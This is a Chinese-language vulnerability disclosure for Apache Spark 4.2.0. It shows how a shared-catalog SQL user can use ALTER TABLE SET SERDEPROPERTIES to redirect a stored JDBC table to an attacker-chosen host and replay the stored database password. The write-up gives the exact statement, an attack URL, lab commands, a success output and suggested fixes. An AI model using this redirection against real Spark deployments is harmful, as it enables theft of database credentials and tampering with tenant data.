abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
类别: JDBC URL 注入 可达性: 远程
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 阻止了扫描时额外选项覆盖已存储的 JDBC url。ALTER TABLE SET SERDEPROPERTIES 仍会合并到 storage.properties,而后者正是 JDBC 扫描选项映射。已存储的 user / password 并非 Spark JDBC 选项名称,因此它们会随新 URL 一起传递。
共享目录的 SQL 用户可以将运维预置的 USING jdbc 表重定向,并将已存储的数据库密码重放到其选择的任意主机。
| ID | 暂无 CVE |
| 类别 | JDBC URL 注入 / 存储凭据复用(SPARK-31710 的遗留问题) |
| 可达性 | 远程(在共享目录上通过 Connect 或 Hive Thrift SQL) |
| CWE | CWE-15、CWE-522 |
| CVSS | 高危:8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| 产品 | Apache Spark |
| 受影响版本 | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC 表 |
| 认证 | 共享目录 SQL 用户(非作业提交 jar) |
| 许可证 | GNU Affero GPL v3.0 |
| 实验环境 | 仅 127.0.0.1:18960 |
一个 Connect gRPC SQL 会话或 Hive Thrift SQL 会话,作用于共享的 externalCatalog,该目录中已存在一张带存储凭据的持久化 USING jdbc 表。不是作业提交者。也不是命名原始 URL 的那个会话。
| 方法 | 汇聚点 | 权限影响 |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') 然后 REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties 然后 JDBC Driver.connect(url, properties) | 完整性:将预置表重定向到攻击者监听器。实验已验证(connect=yes)。机密性:在 PostgreSQL 启动和明文认证过程中重放已存储的数据库 user / password。实验已验证(user-replay=true password-replay=true)。通过 SHOW CREATE 侦察密钥的途径已关闭(已脱敏)。 |
同样的持久化,之后租户对 t 执行 SELECT | 共享目录行 | 完整性,推断:其他会话对 t 的查询现在会命中新 URL(错误的数据库、攻击者控制的行)。可用性,推断:在管理员重置 serde 之前,原始数据库不可达。DoS 不在评估范围内。 |
额外的 serde 键(sessionInitStatement、prepareQuery、driver) | 在遗留的 user / password 上的扫描选项 | 完整性,推断:额外语句或类路径 Driver 无参构造函数。在没有默认类路径 gadget 的情况下,不要夸大为 RCE。未实际验证。 |
ALTER TABLE SET TBLPROPERTIES | 仅 CatalogTable.properties | 本次验证中已关闭。实验已验证(storage url 未变,未命中 oracle)。 |
扫描时额外选项 url 冲突 | SPARK-31710 generateDatasourceOptions | 已关闭。实验已验证(extra-options-clash 被拒绝)。 |
同一会话命名的 spark.read.format("jdbc").option("url", ...) | 预期的数据平面 | 排除。所有者控制的 URL 不属于此遗留问题。 |
对数据源表执行 SET SERDE '<class>' | 类名 | 已关闭(UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)。未实际验证。 |
相邻已关闭项: 会话命名的 JDBC / 文件路径。spark.sql.legacy.extraOptionsBehavior 冲突检查。OSS Spark 没有 Unity 的 externalOptionsAllowList。CREATE TABLE 的 URL 由所有者控制(不属于此遗留问题)。JDBC URL 日志脱敏是无条件的。文件表的 path 位于 locationUri 中。JDBCTableCatalog 连接来自会话目录配置(与选择 URL 属于同一数据平面)。无共享目录的单用户 pyspark 不在模型范围内。
我固定使用 Spark 4.2.0,不是 master,也不是 4.3 RC。在开放集群上提交作业是设计使然。有趣的遗留问题就位于已命名修复的旁边。SPARK-31710 / generateDatasourceOptions 拒绝为现有 serde 键使用不同的扫描时 url。SET TBLPROPERTIES 仅写入 table.properties。数据源表仍允许 SET SERDEPROPERTIES 并合并到 storage.properties(++,后出现的键胜出)。user 和 password 从未进入 jdbcOptionNames,因此 asConnectionProperties 会将它们交给 Driver.connect。
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE 会对 password 脱敏。SQL 用户无法读回该密钥。但他们仍能利用它。
已记录的弯路:将 CREATE TABLE 的 url 当作漏洞;再次提交额外选项冲突;期望 SET TBLPROPERTIES 移动 storage;声称 SHOW CREATE 泄露密码;在引用的 Scala 只是 gadget 时运行完整集群;反弹 shell。oracle 是回环上的 PostgreSQL 启动加明文认证。
cd lab
./run.sh
回环 127.0.0.1:18960 是一个 PostgreSQL 协议监听器。HTTP 健康检查为 127.0.0.1:18961。gadget 容器是 Temurin 21 加 libpostgresql-jdbc-java。存储的 URL 是 jdbc:postgresql://127.0.0.1:1/provisioned(连接被拒绝)。攻击 URL 是 jdbc:postgresql://oracle:18960/stolen。存储的用户 spark_jdbc。存储的密码 stored-secret-SPARK-JDBC-SERDE-URL。将其绑定到回环。
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
拒绝与已存储的 JDBC url / user / password 冲突的 SET SERDEPROPERTIES 键,即 generateDatasourceOptions 已对扫描时额外选项执行的同一检查。或者在 url 变化时丢弃已存储的 user / password。或者将数据源 JDBC serde 视为表属性,而非 storage。在此之前,不要向不可信 SQL 授予对存储密码的持久化 USING jdbc 表的 ALTER TABLE 权限。
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala